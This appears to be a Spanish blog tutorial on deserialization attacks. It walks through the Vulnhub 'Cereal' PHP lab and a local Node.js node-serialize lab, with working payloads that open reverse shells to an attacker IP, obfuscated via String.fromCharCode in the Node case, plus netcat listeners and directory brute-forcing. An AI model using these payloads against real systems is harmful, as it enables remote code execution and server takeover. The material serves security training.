Ataques de Deserializacion

Ataques de Deserializacion

formularios #formulariosLogin #formulariosRegistro #escaladaPrivilegios

Imaginamos una aplicacion con un formulario que manda un ping hacia algun sitio Como lo hace la maquina Cereal
Interceptariamos esta peticion por burpsuite.
Vamos a lanzar la ip de nuestro localhost
imagina que Lanza un payload como este

obj=O%3A8%3A%22pingTest%22%3A1%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A13%3A%22192.168.1.211%22%3B%7D&ip=192.168.1.

De primeras esto esta urlencodeao pero si lo seleccionamos y hacemos un
control shift u lo vemos mejor.

obj=O:8:"pingTest":1:{s:9:"ipAddress";s:13:"192.168.1.211";}&ip=192.168.1.211

Aqui vemos un objeto serializado.
0:8 —- QUIERE DECIR QUE TENEMOS 8 CARATERES QUE COINCIDE CON pingTest
s:9 —- quiere decir string de 9 caracteres ipAddress
s:13 —- quiere decir string de 13 caracteres 192.168.1.211
Podemos ver el codigo fuente y vemos una carga de archivo de js.Podemos ver el codigo de ese archivo para ver si aporta algo
En este caso no aporta mucho, pero podemos hacer un reconocimiento de directorios con gobuster para ver si descubrimos algo mas.

gobuster dir -u http://secure.cereal.ctf:44441/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 20

Hay varios directorios
/php
/style
/index
/back_en —— aqui lo vemos pero nos da forbidden aunque podemos aplicar fuerza bruta aquí y enumerar archivos php

gobuster dir -u http://secure.cereal.ctf:44441/back_en -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php

Esto no encuentra nada, aunque podemos poner mas extensiones php.bak, por ejemplo emparanoyarnos con las extensiones de archivos etc.
Encontramos un archivo index.php.bak
Podemos ir a este archivo y ver el codigo fuente y vemos el código php como este

<?php

class pingTest {
    public $ipAddress = "127.0.0.1";
    public $isValid = False;
    public $output = "";

    function validate() {
        if (!$this->isValid) {
            if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
            {
                $this->isValid = True;
            }
        }
        $this->ping();

    }

    public function ping(){
        if ($this->isValid) {
            $this->output = shell_exec("ping -c 3 $this->ipAddress");   
        }
    }

}

if (isset($_POST['obj'])) {
    $pingTest = unserialize(urldecode($_POST['obj']));
} else {
    $pingTest = new pingTest;
}

$pingTest->validate();

Tiene la pinta de que este es el archivo donde va
La idea en este caso como atacante es entrar aqui

    $this->output = shell_exec("ping -c 3 $this->ipAddress");   

Podemos crear un objeto serializado para que el campo $isvalid sea true de primeras y entremos a la funcion ping y ejecute la funcion shell_exec.
Para crear un campo serializado en php hacemos (puedes consultar la documentación oficial de unserialize())

vim serialize.php
<?php
class pingTest{
        public $ipAddress = "; bash -c 'bash -i >& /dev/tcp/192.168.1.211/443 0>&1'";
        public $isValid = True;
        public $output = "";

}
echo urlencode(serialize(new pingTest));
?>

Ahora php serialize.php 2>/dev/null; echo
Si todo lo en urlencode lo copiamos y lo sustituimos por lo que hay en obj=
y nos ponemos por escuchar epor el pùerto 443

nc -nlvp 443

Ya tenemos control sobre la maquina.

Laboratorio 2 (Nodejs)

vamos a buscar en el navegador «nodejs deseralization attack»
vamos a esta web https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Nos vamos a montar un servidor en nodejs
vim server.js

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);

Tenemos que instalar (paquete node-serialize en npm)
npm install express node-serialize cookie-parser
Arrancamos node server.js
Tenemos un servidor en el puerto 3000 que vamos a interceptar con burpsuit
Una vez interceptada la peticion vemos una cookie con una cadena en base64
como

Cookie: profile=eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0%

Si la copiamos y la enviamos al decoder.
le damos decodear como url y luego como base64
nos da como resultado

{"username":"ajin","country":"india","city":"bangalore"}

Le cambiamos el parametro del username por ejemplo y lo volvemos a poner como base64 y da

eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=

Pues ahora en la peticion la cambiamos por esta ultima y lanzamos a ver que pasa y lo urlencodemos con
control u
control shift u es para urldecodear
Y vemos que nos devuelve el usuario que hemos mandado
¿Que pasa? que en nodejs tenemos una funcion para serielizar datos como

var y = {

 rce : function(){

 require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });

 },

}

var serialize = require('node-serialize');

console.log("Serialized: \n" + serialize.serialize(y));

ahora hacemos un vim serialize.js
ahora hacemos un node serialize.js y obtenemos

{"rce":"_$$ND_FUNC$$_function(){\n\n require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });\n\n }"}

De primeras no lo va a ejecutar.
Hay un concepto que es
IIFE —> Inmediately Invoked Function Expression
Si en la parte del funcion metemos dos parentesis () quedaria asi

 function(){
     require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });
 }(),

A la hora hora de serializar el dato lo ejecuta y vemos ese ls
La cuestion que ahora esto lo estamos haciendo en el servidor y lo que hace es ejecutar el comando pero no nos para el payload serializado para poder pasarlo por la url.
¿Como podriamos hacerlo?
Podemos copiarnos un codigo para deserializar en un archivo

var serialize = require('node-serialize');
var payload ='{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

Pero en payload tenemos que poner el nuestro ojo
Tenemos que generar el payload de nuevo que es el que hemos generado en serialize.js pero quitando el concepto IIFE osea loas parentesis () y ejecutamos de nuevo para que nos de el codigo serializado.
que seria de nuevo este

{"rce":"_$$ND_FUNC$$_function(){\n\n require('child_process').exec('ls /home/jesushack',function(error, stdout, stderr) { console.log(stdout) });\n\n }"}
OJOOOOOOO QUITAMOS LOS SALTOS DE LINEA Y ESCAPAMOS LAS COMILLAS

AHORA ESTE OBJETO SERIALIZADO LO METEMOS EN EL PAYLOAD COMO HEMOS DICHO QUITANDO LOS SALTO DE LINEAS Y ESCAPANDO COMILLAS.
Si ahora con node ejecutamos el archivo no ha pasado nada peeeeero si jugamos de nuevo con IIFE si al final metemos los parentesis justo antes de

()"}

Ahora si lo ejecuta.
Podemos montarnos una shell con nodejs.py
https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py
Vamos a raw lo copiamos y lo traemos con wget
y con

python2.7 nodejsshell.py ipatacante puerto

Esto nos genera esto

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,50,49,49,34,59,10,80,79,82,84,61,34,52,54,52,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Pero como esto lo tenemos que serializar
En la serializacion que hemos creado antes , en el cuerpo de la funcion quitamos lo que hay y metemos esto.

{"rce":"_$$ND_FUNC$$_function(){inputShell}()"}
///quedaria asi
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,50,49,49,34,59,10,80,79,82,84,61,34,52,54,52,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Lo podemos guardar en un archivo dataSerializeShell y pasarlo a base64 que es como se esta enviando en la peticion como hemos visto en burpsuite

cat data | base64 -w 0; echo
// el -w 0 es para que sea todo en una unica linea y no en multiples y el echo para que no haya saltode linea al final ni hastag ni nada raro

Ahora nos ponemos en escucha por el puerto 4646

nc -nlvp 4646

Ahora le pasamos como profile toda esa data nos da acceso
Script /dev/null -c bash


¿que podemos hacer?

Los ataques de deserialización pueden ocurrir en diferentes tipos de aplicaciones, incluyendo aplicaciones web, aplicaciones móviles y aplicaciones de escritorio. Estos ataques pueden ser explotados de varias maneras, como:

  • Modificar el objeto serializado antes de que sea enviado a la aplicación, lo que puede causar errores en la deserialización y permitir que un atacante ejecute código malicioso.
  • Enviar un objeto serializado malicioso que aproveche una vulnerabilidad en la aplicación para ejecutar código malicioso.
  • Realizar un ataque de “man-in-the-middle” para interceptar y modificar el objeto serializado antes de que llegue a la aplicación.

3. Inyección de Objetos Maliciosos

  • Descripción: Los atacantes pueden inyectar objetos maliciosos que, al ser deserializados, alteran el estado de la aplicación o realizan operaciones no autorizadas, como modificar bases de datos o cambiar configuraciones.
  • Impacto: Puede resultar en cambios no autorizados dentro de la aplicación o pérdida de datos.

4. Elevación de Privilegios

  • Descripción: Manipulando la serialización y deserialización, un atacante puede modificar los objetos que representan los privilegios del usuario, concediéndose a sí mismo más derechos dentro de la aplicación.
  • Impacto: Acceso no autorizado a áreas restringidas o funciones administrativas de la aplicación.

Los ataques de deserialización (más info en PortSwigger Web Security Academy – Insecure Deserialization) son un tipo de ataque que aprovecha las vulnerabilidades en los procesos de serialización y deserialización de objetos en aplicaciones que utilizan la programación orientada a objetos (POO).

La serialización es el proceso de convertir un objeto en una secuencia de bytes que puede ser almacenada o transmitida a través de una red. La deserialización es el proceso inverso, en el que una secuencia de bytes es convertida de nuevo a un objeto. Los ataques de deserialización ocurren cuando un atacante puede manipular los datos que se están deserializando, lo que puede llevar a la ejecución de código malicioso en el servidor.

Los ataques de deserialización pueden ocurrir en diferentes tipos de aplicaciones, incluyendo aplicaciones web, aplicaciones móviles y aplicaciones de escritorio. Estos ataques pueden ser explotados de varias maneras, como:

  • Modificar el objeto serializado antes de que sea enviado a la aplicación, lo que puede causar errores en la deserialización y permitir que un atacante ejecute código malicioso.
  • Enviar un objeto serializado malicioso que aproveche una vulnerabilidad en la aplicación para ejecutar código malicioso.
  • Realizar un ataque de “man-in-the-middle” para interceptar y modificar el objeto serializado antes de que llegue a la aplicación.

Los ataques de deserialización pueden ser muy peligrosos, ya que pueden permitir que un atacante tome el control completo del servidor o la aplicación que está siendo atacada.

Para evitar estos ataques, es importante que las aplicaciones validen y autentiquen adecuadamente todos los datos que reciben antes de deserializarlos. También es importante utilizar bibliotecas de serialización y deserialización seguras y actualizar regularmente todas las bibliotecas y componentes de la aplicación para corregir posibles vulnerabilidades.

A continuación se os proporciona el enlace directo a la máquina de Vulnhub donde explotamos un ‘PHP

maquina

Los analizadores YAML son conocidos por su mala gestión de datos serializados.
ophiuchi
https://0xdf.gitlab.io/2021/07/03/htb-ophiuchi.html
Esto tiene deserialización basados ​​en Java

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Scroll al inicio